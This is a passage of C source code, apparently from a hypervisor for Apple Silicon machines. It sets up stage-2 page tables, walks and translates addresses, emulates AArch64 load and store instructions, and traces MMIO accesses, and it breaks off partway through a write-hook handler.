PTE_TYPE BIT(1) #define PTE_BLOCK 0 #define PTE_TABLE 1 #define PTE_PAGE 1 #define VADDR_L4_INDEX_BITS 12 #define VADDR_L3_INDEX_BITS 11 #define VADDR_L2_INDEX_BITS 11 #define VADDR_L1_INDEX_BITS 8 #define VADDR_L4_OFFSET_BITS 2 #define VADDR_L3_OFFSET_BITS 14 #define VADDR_L2_OFFSET_BITS 25 #define VADDR_L1_OFFSET_BITS 36 #define VADDR_L2_ALIGN_MASK GENMASK(VADDR_L2_OFFSET_BITS - 1, VADDR_L3_OFFSET_BITS) #define VADDR_L3_ALIGN_MASK GENMASK(VADDR_L3_OFFSET_BITS - 1, VADDR_L4_OFFSET_BITS) #define PTE_TARGET_MASK GENMASK(49, VADDR_L3_OFFSET_BITS) #define PTE_TARGET_MASK_L4 GENMASK(49, VADDR_L4_OFFSET_BITS) #define ENTRIES_PER_L1_TABLE BIT(VADDR_L1_INDEX_BITS) #define ENTRIES_PER_L2_TABLE BIT(VADDR_L2_INDEX_BITS) #define ENTRIES_PER_L3_TABLE BIT(VADDR_L3_INDEX_BITS) #define ENTRIES_PER_L4_TABLE BIT(VADDR_L4_INDEX_BITS) #define SPTE_TRACE_READ BIT(63) #define SPTE_TRACE_WRITE BIT(62) #define SPTE_TRACE_UNBUF BIT(61) #define SPTE_TYPE GENMASK(52, 50) #define SPTE_MAP 0 #define SPTE_HOOK 1 #define SPTE_PROXY_HOOK_R 2 #define SPTE_PROXY_HOOK_W 3 #define SPTE_PROXY_HOOK_RW 4 #define IS_HW(pte) ((pte) && pte & PTE_VALID) #define IS_SW(pte) ((pte) && !(pte & PTE_VALID)) #define L1_IS_TABLE(pte) ((pte) && FIELD_GET(PTE_TYPE, pte) == PTE_TABLE) #define L2_IS_TABLE(pte) ((pte) && FIELD_GET(PTE_TYPE, pte) == PTE_TABLE) #define L2_IS_NOT_TABLE(pte) ((pte) && !L2_IS_TABLE(pte)) #define L2_IS_HW_BLOCK(pte) (IS_HW(pte) && FIELD_GET(PTE_TYPE, pte) == PTE_BLOCK) #define L2_IS_SW_BLOCK(pte) \ (IS_SW(pte) && FIELD_GET(PTE_TYPE, pte) == PTE_BLOCK && FIELD_GET(SPTE_TYPE, pte) == SPTE_MAP) #define L3_IS_TABLE(pte) (IS_SW(pte) && FIELD_GET(PTE_TYPE, pte) == PTE_TABLE) #define L3_IS_NOT_TABLE(pte) ((pte) && !L3_IS_TABLE(pte)) #define L3_IS_HW_BLOCK(pte) (IS_HW(pte) && FIELD_GET(PTE_TYPE, pte) == PTE_PAGE) #define L3_IS_SW_BLOCK(pte) \ (IS_SW(pte) && FIELD_GET(PTE_TYPE, pte) == PTE_BLOCK && FIELD_GET(SPTE_TYPE, pte) == SPTE_MAP) uint64_t vaddr_bits; /* * We use 16KB page tables for stage 2 translation, and a 64GB (36-bit) guest * PA size, which results in the following virtual address space: * * [L2 index] [L3 index] [page offset] * 11 bits 11 bits 14 bits * * 32MB L2 mappings look like this: * [L2 index] [page offset] * 11 bits 25 bits * * We implement sub-page granularity mappings for software MMIO hooks, which behave * as an additional page table level used only by software. This works like this: * * [L2 index] [L3 index] [L4 index] [Word offset] * 11 bits 11 bits 12 bits 2 bits * * Thus, L4 sub-page tables are twice the size. * * We use invalid mappings (PTE_VALID == 0) to represent mmiotrace descriptors, but * otherwise the page table format is the same. The PTE_TYPE bit is weird, as 0 means * block but 1 means both table (at L<3) and page (at L3). For mmiotrace, this is * pushed to L4. * * On SoCs with more than 36-bit PA sizes there is an additional L1 translation level, * but no blocks or software mappings are allowed there. This level can have up to 8 bits * at this time. */ static u64 *hv_Ltop; void hv_pt_init(void) { const uint64_t pa_bits[] = {32, 36, 40, 42, 44, 48, 52}; uint64_t pa_range = FIELD_GET(ID_AA64MMFR0_PARange, mrs(ID_AA64MMFR0_EL1)); vaddr_bits = min(44, pa_bits[pa_range]); printf("HV: Initializing for %ld-bit PA range\n", vaddr_bits); hv_Ltop = memalign(PAGE_SIZE, sizeof(u64) * ENTRIES_PER_L2_TABLE); memset(hv_Ltop, 0, sizeof(u64) * ENTRIES_PER_L2_TABLE); u64 sl0 = vaddr_bits > 36 ? 2 : 1; msr(VTCR_EL2, FIELD_PREP(VTCR_PS, pa_range) | // Full PA size FIELD_PREP(VTCR_TG0, 2) | // 16KB page size FIELD_PREP(VTCR_SH0, 3) | // PTWs Inner Sharable FIELD_PREP(VTCR_ORGN0, 1) | // PTWs Cacheable FIELD_PREP(VTCR_IRGN0, 1) | // PTWs Cacheable FIELD_PREP(VTCR_SL0, sl0) | // Start level FIELD_PREP(VTCR_T0SZ, 64 - vaddr_bits)); // Translation region == PA msr(VTTBR_EL2, hv_Ltop); } static u64 *hv_pt_get_l2(u64 from) { u64 l1idx = from >> VADDR_L1_OFFSET_BITS; if (vaddr_bits <= 36) { assert(l1idx == 0); return hv_Ltop; } u64 l1d = hv_Ltop[l1idx]; if (L1_IS_TABLE(l1d)) return (u64 *)(l1d & PTE_TARGET_MASK); u64 *l2 = (u64 *)memalign(PAGE_SIZE, ENTRIES_PER_L2_TABLE * sizeof(u64)); memset64(l2, 0, ENTRIES_PER_L2_TABLE * sizeof(u64)); l1d = ((u64)l2) | FIELD_PREP(PTE_TYPE, PTE_TABLE) | PTE_VALID; hv_Ltop[l1idx] = l1d; return l2; } static void hv_pt_free_l3(u64 *l3) { if (!l3) return; for (u64 idx = 0; idx < ENTRIES_PER_L3_TABLE; idx++) if (IS_SW(l3[idx]) && FIELD_GET(PTE_TYPE, l3[idx]) == PTE_TABLE) free((void *)(l3[idx] & PTE_TARGET_MASK)); free(l3); } static void hv_pt_map_l2(u64 from, u64 to, u64 size, u64 incr) { assert((from & MASK(VADDR_L2_OFFSET_BITS)) == 0); assert(IS_SW(to) || (to & PTE_TARGET_MASK & MASK(VADDR_L2_OFFSET_BITS)) == 0); assert((size & MASK(VADDR_L2_OFFSET_BITS)) == 0); to |= FIELD_PREP(PTE_TYPE, PTE_BLOCK); for (; size; size -= BIT(VADDR_L2_OFFSET_BITS)) { u64 *l2 = hv_pt_get_l2(from); u64 idx = (from >> VADDR_L2_OFFSET_BITS) & MASK(VADDR_L2_INDEX_BITS); if (L2_IS_TABLE(l2[idx])) hv_pt_free_l3((u64 *)(l2[idx] & PTE_TARGET_MASK)); l2[idx] = to; from += BIT(VADDR_L2_OFFSET_BITS); to += incr * BIT(VADDR_L2_OFFSET_BITS); } } static u64 *hv_pt_get_l3(u64 from) { u64 *l2 = hv_pt_get_l2(from); u64 l2idx = (from >> VADDR_L2_OFFSET_BITS) & MASK(VADDR_L2_INDEX_BITS); u64 l2d = l2[l2idx]; if (L2_IS_TABLE(l2d)) return (u64 *)(l2d & PTE_TARGET_MASK); u64 *l3 = (u64 *)memalign(PAGE_SIZE, ENTRIES_PER_L3_TABLE * sizeof(u64)); if (l2d) { u64 incr = 0; u64 l3d = l2d; if (IS_HW(l2d)) { l3d &= ~PTE_TYPE; l3d |= FIELD_PREP(PTE_TYPE, PTE_PAGE); incr = BIT(VADDR_L3_OFFSET_BITS); } else if (IS_SW(l2d) && FIELD_GET(SPTE_TYPE, l3d) == SPTE_MAP) { incr = BIT(VADDR_L3_OFFSET_BITS); } for (u64 idx = 0; idx < ENTRIES_PER_L3_TABLE; idx++, l3d += incr) l3[idx] = l3d; } else { memset64(l3, 0, ENTRIES_PER_L3_TABLE * sizeof(u64)); } l2d = ((u64)l3) | FIELD_PREP(PTE_TYPE, PTE_TABLE) | PTE_VALID; l2[l2idx] = l2d; return l3; } static void hv_pt_map_l3(u64 from, u64 to, u64 size, u64 incr) { assert((from & MASK(VADDR_L3_OFFSET_BITS)) == 0); assert(IS_SW(to) || (to & PTE_TARGET_MASK & MASK(VADDR_L3_OFFSET_BITS)) == 0); assert((size & MASK(VADDR_L3_OFFSET_BITS)) == 0); if (IS_HW(to)) to |= FIELD_PREP(PTE_TYPE, PTE_PAGE); else to |= FIELD_PREP(PTE_TYPE, PTE_BLOCK); for (; size; size -= BIT(VADDR_L3_OFFSET_BITS)) { u64 idx = (from >> VADDR_L3_OFFSET_BITS) & MASK(VADDR_L3_INDEX_BITS); u64 *l3 = hv_pt_get_l3(from); if (L3_IS_TABLE(l3[idx])) free((void *)(l3[idx] & PTE_TARGET_MASK)); l3[idx] = to; from += BIT(VADDR_L3_OFFSET_BITS); to += incr * BIT(VADDR_L3_OFFSET_BITS); } } static u64 *hv_pt_get_l4(u64 from) { u64 *l3 = hv_pt_get_l3(from); u64 l3idx = (from >> VADDR_L3_OFFSET_BITS) & MASK(VADDR_L3_INDEX_BITS); u64 l3d = l3[l3idx]; if (L3_IS_TABLE(l3d)) { return (u64 *)(l3d & PTE_TARGET_MASK); } if (IS_HW(l3d)) { assert(FIELD_GET(PTE_TYPE, l3d) == PTE_PAGE); l3d &= PTE_TARGET_MASK; l3d |= FIELD_PREP(PTE_TYPE, PTE_BLOCK) | FIELD_PREP(SPTE_TYPE, SPTE_MAP); } u64 *l4 = (u64 *)memalign(PAGE_SIZE, ENTRIES_PER_L4_TABLE * sizeof(u64)); if (l3d) { u64 incr = 0; u64 l4d = l3d; l4d &= ~PTE_TYPE; l4d |= FIELD_PREP(PTE_TYPE, PTE_PAGE); if (FIELD_GET(SPTE_TYPE, l4d) == SPTE_MAP) incr = BIT(VADDR_L4_OFFSET_BITS); for (u64 idx = 0; idx < ENTRIES_PER_L4_TABLE; idx++, l4d += incr) l4[idx] = l4d; } else { memset64(l4, 0, ENTRIES_PER_L4_TABLE * sizeof(u64)); } l3d = ((u64)l4) | FIELD_PREP(PTE_TYPE, PTE_TABLE); l3[l3idx] = l3d; return l4; } static void hv_pt_map_l4(u64 from, u64 to, u64 size, u64 incr) { assert((from & MASK(VADDR_L4_OFFSET_BITS)) == 0); assert((size & MASK(VADDR_L4_OFFSET_BITS)) == 0); assert(!IS_HW(to)); if (IS_SW(to)) to |= FIELD_PREP(PTE_TYPE, PTE_PAGE); for (; size; size -= BIT(VADDR_L4_OFFSET_BITS)) { u64 idx = (from >> VADDR_L4_OFFSET_BITS) & MASK(VADDR_L4_INDEX_BITS); u64 *l4 = hv_pt_get_l4(from); l4[idx] = to; from += BIT(VADDR_L4_OFFSET_BITS); to += incr * BIT(VADDR_L4_OFFSET_BITS); } } int hv_map(u64 from, u64 to, u64 size, u64 incr) { u64 chunk; bool hw = IS_HW(to); if (from & MASK(VADDR_L4_OFFSET_BITS) || size & MASK(VADDR_L4_OFFSET_BITS)) return -1; if (hw && (from & MASK(VADDR_L3_OFFSET_BITS) || size & MASK(VADDR_L3_OFFSET_BITS))) { printf("HV: cannot use L4 pages with HW mappings (0x%lx -> 0x%lx)\n", from, to); return -1; } // L4 mappings to boundary chunk = min(size, ALIGN_UP(from, BIT(VADDR_L3_OFFSET_BITS)) - from); if (chunk) { assert(!hw); hv_pt_map_l4(from, to, chunk, incr); from += chunk; to += incr * chunk; size -= chunk; } // L3 mappings to boundary u64 boundary = ALIGN_UP(from, MASK(VADDR_L2_OFFSET_BITS)); // CPU CTRR doesn't like L2 mappings crossing CTRR boundaries! // Map everything below the m1n1 base as L3 if (boundary >= ram_base && boundary < (u64)_base) boundary = ALIGN_UP((u64)_base, MASK(VADDR_L2_OFFSET_BITS)); chunk = ALIGN_DOWN(min(size, boundary - from), BIT(VADDR_L3_OFFSET_BITS)); if (chunk) { hv_pt_map_l3(from, to, chunk, incr); from += chunk; to += incr * chunk; size -= chunk; } // L2 mappings chunk = ALIGN_DOWN(size, BIT(VADDR_L2_OFFSET_BITS)); if (chunk && (!hw || (to & VADDR_L2_ALIGN_MASK) == 0)) { hv_pt_map_l2(from, to, chunk, incr); from += chunk; to += incr * chunk; size -= chunk; } // L3 mappings to end chunk = ALIGN_DOWN(size, BIT(VADDR_L3_OFFSET_BITS)); if (chunk) { hv_pt_map_l3(from, to, chunk, incr); from += chunk; to += incr * chunk; size -= chunk; } // L4 mappings to end if (size) { assert(!hw); hv_pt_map_l4(from, to, size, incr); } return 0; } int hv_unmap(u64 from, u64 size) { return hv_map(from, 0, size, 0); } int hv_map_hw(u64 from, u64 to, u64 size) { return hv_map(from, to | PTE_ATTRIBUTES | PTE_VALID, size, 1); } int hv_map_sw(u64 from, u64 to, u64 size) { return hv_map(from, to | FIELD_PREP(SPTE_TYPE, SPTE_MAP), size, 1); } int hv_map_hook(u64 from, hv_hook_t *hook, u64 size) { return hv_map(from, ((u64)hook) | FIELD_PREP(SPTE_TYPE, SPTE_HOOK), size, 0); } u64 hv_translate(u64 addr, bool s1, bool w, u64 *par_out) { if (!(mrs(SCTLR_EL12) & SCTLR_M)) return addr; // MMU off u64 el = FIELD_GET(SPSR_M, hv_get_spsr()) >> 2; u64 save = mrs(PAR_EL1); if (w) { if (s1) { if (el == 0) asm("at s1e0w, %0" : : "r"(addr)); else asm("at s1e1w, %0" : : "r"(addr)); } else { if (el == 0) asm("at s12e0w, %0" : : "r"(addr)); else asm("at s12e1w, %0" : : "r"(addr)); } } else { if (s1) { if (el == 0) asm("at s1e0r, %0" : : "r"(addr)); else asm("at s1e1r, %0" : : "r"(addr)); } else { if (el == 0) asm("at s12e0r, %0" : : "r"(addr)); else asm("at s12e1r, %0" : : "r"(addr)); } } u64 par = mrs(PAR_EL1); if (par_out) *par_out = par; msr(PAR_EL1, save); if (par & PAR_F) { dprintf("hv_translate(0x%lx, %d, %d): fault 0x%lx\n", addr, s1, w, par); return 0; // fault } else { return (par & PAR_PA) | (addr & 0xfff); } } u64 hv_pt_walk(u64 addr) { dprintf("hv_pt_walk(0x%lx)\n", addr); u64 idx = addr >> VADDR_L1_OFFSET_BITS; u64 *l2; if (vaddr_bits > 36) { assert(idx < ENTRIES_PER_L1_TABLE); u64 l1d = hv_Ltop[idx]; dprintf(" l1d = 0x%lx\n", l1d); if (!L1_IS_TABLE(l1d)) { dprintf(" result: 0x%lx\n", l1d); return l1d; } l2 = (u64 *)(l1d & PTE_TARGET_MASK); } else { assert(idx == 0); l2 = hv_Ltop; } idx = (addr >> VADDR_L2_OFFSET_BITS) & MASK(VADDR_L2_INDEX_BITS); u64 l2d = l2[idx]; dprintf(" l2d = 0x%lx\n", l2d); if (!L2_IS_TABLE(l2d)) { if (L2_IS_SW_BLOCK(l2d)) l2d += addr & (VADDR_L2_ALIGN_MASK | VADDR_L3_ALIGN_MASK); if (L2_IS_HW_BLOCK(l2d)) { l2d &= ~PTE_LOWER_ATTRIBUTES; l2d |= addr & (VADDR_L2_ALIGN_MASK | VADDR_L3_ALIGN_MASK); } dprintf(" result: 0x%lx\n", l2d); return l2d; } idx = (addr >> VADDR_L3_OFFSET_BITS) & MASK(VADDR_L3_INDEX_BITS); u64 l3d = ((u64 *)(l2d & PTE_TARGET_MASK))[idx]; dprintf(" l3d = 0x%lx\n", l3d); if (!L3_IS_TABLE(l3d)) { if (L3_IS_SW_BLOCK(l3d)) l3d += addr & VADDR_L3_ALIGN_MASK; if (L3_IS_HW_BLOCK(l3d)) { l3d &= ~PTE_LOWER_ATTRIBUTES; l3d |= addr & VADDR_L3_ALIGN_MASK; } dprintf(" result: 0x%lx\n", l3d); return l3d; } idx = (addr >> VADDR_L4_OFFSET_BITS) & MASK(VADDR_L4_INDEX_BITS); dprintf(" l4 idx = 0x%lx\n", idx); u64 l4d = ((u64 *)(l3d & PTE_TARGET_MASK))[idx]; dprintf(" l4d = 0x%lx\n", l4d); return l4d; } #define CHECK_RN \ if (Rn == 31) \ return false #define DECODE_OK \ if (!val) \ return true #define EXT(n, b) (((s32)(((u32)(n)) << (32 - (b)))) >> (32 - (b))) union simd_reg { u64 d[2]; u32 s[4]; u16 h[8]; u8 b[16]; }; static bool emulate_load(struct exc_info *ctx, u32 insn, u64 *val, u64 *width, u64 *vaddr) { u64 Rt = insn & 0x1f; u64 Rn = (insn >> 5) & 0x1f; u64 uimm12 = (insn >> 10) & 0xfff; u64 imm9 = EXT((insn >> 12) & 0x1ff, 9); u64 imm7 = EXT((insn >> 15) & 0x7f, 7); u64 *regs = ctx->regs; union simd_reg simd[32]; *width = insn >> 30; if (val) dprintf("emulate_load(%p, 0x%08x, 0x%08lx, %ld\n", regs, insn, *val, *width); if ((insn & 0x3fe00400) == 0x38400400) { // LDRx (immediate) Pre/Post-index CHECK_RN; DECODE_OK; regs[Rn] += imm9; regs[Rt] = *val; } else if ((insn & 0x3fc00000) == 0x39400000) { // LDRx (immediate) Unsigned offset DECODE_OK; regs[Rt] = *val; } else if ((insn & 0x3fa00400) == 0x38800400) { // LDRSx (immediate) Pre/Post-index CHECK_RN; DECODE_OK; regs[Rn] += imm9; regs[Rt] = (s64)EXT(*val, 8 << *width); if (insn & (1 << 22)) regs[Rt] &= 0xffffffff; } else if ((insn & 0x3fa00000) == 0x39800000) { // LDRSx (immediate) Unsigned offset DECODE_OK; regs[Rt] = (s64)EXT(*val, 8 << *width); if (insn & (1 << 22)) regs[Rt] &= 0xffffffff; } else if ((insn & 0x3fe04c00) == 0x38604800) { // LDRx (register) DECODE_OK; regs[Rt] = *val; } else if ((insn & 0x3fa04c00) == 0x38a04800) { // LDRSx (register) DECODE_OK; regs[Rt] = (s64)EXT(*val, 8 << *width); if (insn & (1 << 22)) regs[Rt] &= 0xffffffff; } else if ((insn & 0x3fe00c00) == 0x38400000) { // LDURx (unscaled) DECODE_OK; regs[Rt] = *val; } else if ((insn & 0x3fa00c00) == 0x38a00000) { // LDURSx (unscaled) DECODE_OK; regs[Rt] = (s64)EXT(*val, (8 << *width)); if (insn & (1 << 22)) regs[Rt] &= 0xffffffff; } else if ((insn & 0xfec00000) == 0x28400000) { // LD[N]P (Signed offset, 32-bit) *width = 3; *vaddr = regs[Rn] + (imm7 * 4); DECODE_OK; u64 Rt2 = (insn >> 10) & 0x1f; regs[Rt] = val[0] & 0xffffffff; regs[Rt2] = val[0] >> 32; } else if ((insn & 0xfec00000) == 0xa8400000) { // LD[N]P (Signed offset, 64-bit) *width = 4; *vaddr = regs[Rn] + (imm7 * 8); DECODE_OK; u64 Rt2 = (insn >> 10) & 0x1f; regs[Rt] = val[0]; regs[Rt2] = val[1]; } else if ((insn & 0xfec00000) == 0xa8c00000) { // LDP (pre/post-increment, 64-bit) *width = 4; *vaddr = regs[Rn] + ((insn & BIT(24)) ? (imm7 * 8) : 0); DECODE_OK; regs[Rn] += imm7 * 8; u64 Rt2 = (insn >> 10) & 0x1f; regs[Rt] = val[0]; regs[Rt2] = val[1]; } else if ((insn & 0xfec00000) == 0xac400000) { // LD[N]P (SIMD&FP, 128-bit) Signed offset *width = 5; *vaddr = regs[Rn] + (imm7 * 16); DECODE_OK; u64 Rt2 = (insn >> 10) & 0x1f; get_simd_state(simd); simd[Rt].d[0] = val[0]; simd[Rt].d[1] = val[1]; simd[Rt2].d[0] = val[2]; simd[Rt2].d[1] = val[3]; put_simd_state(simd); } else if ((insn & 0x3fc00000) == 0x3d400000) { // LDR (immediate, SIMD&FP) Unsigned offset *vaddr = regs[Rn] + (uimm12 << *width); DECODE_OK; get_simd_state(simd); simd[Rt].d[0] = val[0]; simd[Rt].d[1] = 0; put_simd_state(simd); } else if ((insn & 0x3fe00c00) == 0x3c400000) { // LDURx (unscaled, SIMD&FP) *vaddr = regs[Rn] + imm9; DECODE_OK; get_simd_state(simd); simd[Rt].d[0] = val[0]; simd[Rt].d[1] = val[1]; put_simd_state(simd); } else if ((insn & 0xffc00000) == 0x3dc00000) { // LDR (immediate, SIMD&FP) Unsigned offset, 128-bit *width = 4; *vaddr = regs[Rn] + (uimm12 << *width); DECODE_OK; get_simd_state(simd); simd[Rt].d[0] = val[0]; simd[Rt].d[1] = val[1]; put_simd_state(simd); } else if ((insn & 0xffe00c00) == 0x3cc00000) { // LDURx (unscaled, SIMD&FP, 128-bit) *width = 4; *vaddr = regs[Rn] + imm9; DECODE_OK; get_simd_state(simd); simd[Rt].d[0] = val[0]; simd[Rt].d[1] = val[1]; put_simd_state(simd); } else if ((insn & 0x3fe00400) == 0x3c400400) { // LDR (immediate, SIMD&FP) Pre/Post-index CHECK_RN; DECODE_OK; regs[Rn] += imm9; get_simd_state(simd); simd[Rt].d[0] = val[0]; simd[Rt].d[1] = 0; put_simd_state(simd); } else if ((insn & 0xffe00400) == 0x3cc00400) { // LDR (immediate, SIMD&FP) Pre/Post-index, 128-bit *width = 4; CHECK_RN; DECODE_OK; regs[Rn] += imm9; get_simd_state(simd); simd[Rt].d[0] = val[0]; simd[Rt].d[1] = val[1]; put_simd_state(simd); } else if ((insn & 0x3fe04c00) == 0x3c604800) { // LDR (register, SIMD&FP) DECODE_OK; get_simd_state(simd); simd[Rt].d[0] = val[0]; simd[Rt].d[1] = 0; put_simd_state(simd); } else if ((insn & 0xffe04c00) == 0x3ce04800) { // LDR (register, SIMD&FP), 128-bit *width = 4; DECODE_OK; get_simd_state(simd); simd[Rt].d[0] = val[0]; simd[Rt].d[1] = val[1]; put_simd_state(simd); } else if ((insn & 0xbffffc00) == 0x0d408400) { // LD1 (single structure) No offset, 64-bit *width = 3; DECODE_OK; u64 index = (insn >> 30) & 1; get_simd_state(simd); simd[Rt].d[index] = val[0]; put_simd_state(simd); } else if ((insn & 0x3ffffc00) == 0x08dffc00) { // LDAR* DECODE_OK; regs[Rt] = *val; } else { return false; } return true; } static bool emulate_store(struct exc_info *ctx, u32 insn, u64 *val, u64 *width, u64 *vaddr) { u64 Rt = insn & 0x1f; u64 Rn = (insn >> 5) & 0x1f; u64 imm9 = EXT((insn >> 12) & 0x1ff, 9); u64 imm7 = EXT((insn >> 15) & 0x7f, 7); u64 *regs = ctx->regs; union simd_reg simd[32]; *width = insn >> 30; dprintf("emulate_store(%p, 0x%08x, ..., %ld) = ", regs, insn, *width); regs[31] = 0; u64 mask = 0xffffffffffffffffUL; if (*width < 3) mask = (1UL << (8 << *width)) - 1; if ((insn & 0x3fe00400) == 0x38000400) { // STRx (immediate) Pre/Post-index CHECK_RN; regs[Rn] += imm9; *val = regs[Rt] & mask; } else if ((insn & 0x3fc00000) == 0x39000000) { // STRx (immediate) Unsigned offset *val = regs[Rt] & mask; } else if ((insn & 0x3fe04c00) == 0x38204800) { // STRx (register) *val = regs[Rt] & mask; } else if ((insn & 0xfec00000) == 0x28000000) { // ST[N]P (Signed offset, 32-bit) *vaddr = regs[Rn] + (imm7 * 4); u64 Rt2 = (insn >> 10) & 0x1f; val[0] = (regs[Rt] & 0xffffffff) | (regs[Rt2] << 32); *width = 3; } else if ((insn & 0xfec00000) == 0xa8000000) { // ST[N]P (Signed offset, 64-bit) *vaddr = regs[Rn] + (imm7 * 8); u64 Rt2 = (insn >> 10) & 0x1f; val[0] = regs[Rt]; val[1] = regs[Rt2]; *width = 4; } else if ((insn & 0xfec00000) == 0xa8800000) { // ST[N]P (immediate, 64-bit, pre/post-index) CHECK_RN; *vaddr = regs[Rn] + ((insn & BIT(24)) ? (imm7 * 8) : 0); regs[Rn] += (imm7 * 8); u64 Rt2 = (insn >> 10) & 0x1f; val[0] = regs[Rt]; val[1] = regs[Rt2]; *width = 4; } else if ((insn & 0x3fc00000) == 0x3d000000) { // STR (immediate, SIMD&FP) Unsigned offset, 8..64-bit get_simd_state(simd); *val = simd[Rt].d[0]; } else if ((insn & 0x3fe04c00) == 0x3c204800) { // STR (register, SIMD&FP) 8..64-bit get_simd_state(simd); *val = simd[Rt].d[0]; } else if ((insn & 0xffe04c00) == 0x3ca04800) { // STR (register, SIMD&FP) 128-bit get_simd_state(simd); val[0] = simd[Rt].d[0]; val[1] = simd[Rt].d[1]; *width = 4; } else if ((insn & 0xffc00000) == 0x3d800000) { // STR (immediate, SIMD&FP) Unsigned offset, 128-bit get_simd_state(simd); val[0] = simd[Rt].d[0]; val[1] = simd[Rt].d[1]; *width = 4; } else if ((insn & 0xffe00000) == 0xbc000000) { // STUR (immediate, SIMD&FP) 32-bit get_simd_state(simd); val[0] = simd[Rt].s[0]; *width = 2; } else if ((insn & 0xffe00000) == 0xfc000000) { // STUR (immediate, SIMD&FP) 64-bit get_simd_state(simd); val[0] = simd[Rt].d[0]; *width = 3; } else if ((insn & 0xffe00000) == 0x3c800000) { // STUR (immediate, SIMD&FP) 128-bit get_simd_state(simd); val[0] = simd[Rt].d[0]; val[1] = simd[Rt].d[1]; *width = 4; } else if ((insn & 0xffc00000) == 0x2d000000) { // STP (SIMD&FP, 128-bit) Signed offset *vaddr = regs[Rn] + (imm7 * 4); u64 Rt2 = (insn >> 10) & 0x1f; get_simd_state(simd); val[0] = simd[Rt].s[0] | (((u64)simd[Rt2].s[0]) << 32); *width = 3; } else if ((insn & 0xffc00000) == 0xad000000) { // STP (SIMD&FP, 128-bit) Signed offset *vaddr = regs[Rn] + (imm7 * 16); u64 Rt2 = (insn >> 10) & 0x1f; get_simd_state(simd); val[0] = simd[Rt].d[0]; val[1] = simd[Rt].d[1]; val[2] = simd[Rt2].d[0]; val[3] = simd[Rt2].d[1]; *width = 5; } else if ((insn & 0x3fe00c00) == 0x38000000) { // STURx (unscaled) *val = regs[Rt] & mask; } else if ((insn & 0xffffffe0) == 0xd50b7420) { // DC ZVA *vaddr = regs[Rt]; memset(val, 0, CACHE_LINE_SIZE); *width = CACHE_LINE_LOG2; } else if ((insn & 0x3ffffc00) == 0x089ffc00) { // STL qR* *val = regs[Rt] & mask; } else { return false; } dprintf("0x%lx\n", *width); return true; } static void emit_mmiotrace(u64 pc, u64 addr, u64 *data, u64 width, u64 flags, bool sync) { struct hv_evt_mmiotrace evt = { .flags = flags | FIELD_PREP(MMIO_EVT_CPU, smp_id()), .pc = pc, .addr = addr, }; if (width > 3) evt.flags |= FIELD_PREP(MMIO_EVT_WIDTH, 3) | MMIO_EVT_MULTI; else evt.flags |= FIELD_PREP(MMIO_EVT_WIDTH, width); for (int i = 0; i < (1 << width); i += 8) { evt.data = *data++; hv_wdt_suspend(); uartproxy_send_event(EVT_MMIOTRACE, &evt, sizeof(evt)); if (sync) { iodev_flush(uartproxy_iodev); } hv_wdt_resume(); evt.addr += 8; } } bool hv_pa_write(struct exc_info *ctx, u64 addr, u64 *val, int width) { sysop("dsb sy"); exc_count = 0; exc_guard = GUARD_SKIP; switch (width) { case 0: write8(addr, val[0]); break; case 1: write16(addr, val[0]); break; case 2: write32(addr, val[0]); break; case 3: write64(addr, val[0]); break; case 4: case 5: case 6: for (u64 i = 0; i < (1UL << (width - 3)); i++) write64(addr + 8 * i, val[i]); break; default: dprintf("HV: unsupported write width %d\n", width); exc_guard = GUARD_OFF; return false; } // Make sure we catch SErrors here sysop("dsb sy"); sysop("isb"); exc_guard = GUARD_OFF; if (exc_count) { printf("HV: Exception during write to 0x%lx (width: %d)\n", addr, width); // Update exception info with "real" cause ctx->esr = hv_get_esr(); ctx->far = hv_get_far(); return false; } return true; } bool hv_pa_read(struct exc_info *ctx, u64 addr, u64 *val, int width) { sysop("dsb sy"); exc_count = 0; exc_guard = GUARD_SKIP; switch (width) { case 0: val[0] = read8(addr); break; case 1: val[0] = read16(addr); break; case 2: val[0] = read32(addr); break; case 3: val[0] = read64(addr); break; case 4: val[0] = read64(addr); val[1] = read64(addr + 8); break; case 5: val[0] = read64(addr); val[1] = read64(addr + 8); val[2] = read64(addr + 16); val[3] = read64(addr + 24); break; default: dprintf("HV: unsupported read width %d\n", width); exc_guard = GUARD_OFF; return false; } sysop("dsb sy"); exc_guard = GUARD_OFF; if (exc_count) { dprintf("HV: Exception during read from 0x%lx (width: %d)\n", addr, width); // Update exception info with "real" cause ctx->esr = hv_get_esr(); ctx->far = hv_get_far(); return false; } return true; } bool hv_pa_rw(struct exc_info *ctx, u64 addr, u64 *val, bool write, int width) { if (write) return hv_pa_write(ctx, addr, val, width); else return hv_pa_read(ctx, addr, val, width); } static bool hv_emulate_rw_aligned(struct exc_info *ctx, u64 pte, u64 vaddr, u64 ipa, u64 *val, bool is_write, u64 width, u64 elr, u64 par) { assert(pte); assert(((ipa & 0x3fff) + (1 << width)) <= 0x4000); u64 target = pte & PTE_TARGET_MASK_L4; u64 paddr = target | (vaddr & MASK(VADDR_L4_OFFSET_BITS)); u64 flags = FIELD_PREP(MMIO_EVT_ATTR, FIELD_GET(PAR_ATTR, par)) | FIELD_PREP(MMIO_EVT_SH, FIELD_GET(PAR_SH, par)); // For split ops, treat hardware mapped pages as SPTE_MAP if (IS_HW(pte)) pte = target | FIELD_PREP(PTE_TYPE, PTE_BLOCK) | FIELD_PREP(SPTE_TYPE, SPTE_MAP); if (is_write) { // Write hv_wdt_breadcrumb('3'); if (pte & SPTE_TRACE_WRITE) emit_mmiotrace(elr, ipa, val, width, flags | MMIO_EVT_WRITE, pte & SPTE_TRACE_UNBUF); hv_wdt_breadcrumb('4'); switch (FIELD_GET(SPTE_TYPE, pte)) { case SPTE_PROXY_HOOK_R: paddr = ipa; // fallthrough case SPTE_MAP: hv_wdt_breadcrumb('5'); dprintf("HV: SPTE_MAP[W] @0x%lx 0x%lx -> 0x%lx (w=%d): 0x%lx\n", elr, ipa, paddr, 1 << width, val[0]); if (!hv_pa_write(ctx, paddr, val, width)) return false; break; case SPTE_HOOK: { hv_wdt_breadcrumb('6'); hv_hook_t *hook = (hv_hook_t *)target; if (!hook(ctx, ipa, val, true, width)) return false; dprintf("HV: SPTE_HOOK[W] @0x%lx 0x%lx -> 0x%lx (w=%d) @%p: 0x%lx\n", elr, ipa, paddr, 1 << width, hook, val); break; } case SPTE_PROXY_HOOK_RW: case SPTE_PROXY_HOOK_W: { hv_wdt_breadcrumb('7'); struct hv_vm_proxy_hook_data hook = { .flags = FIELD_PREP(MMIO_EVT_WIDTH, width) | MMIO_EVT_WRITE | flags, .id = FIELD_GET(PTE_TARGET_MASK_L4, pte), .addr = ipa, .data = {0}, }; 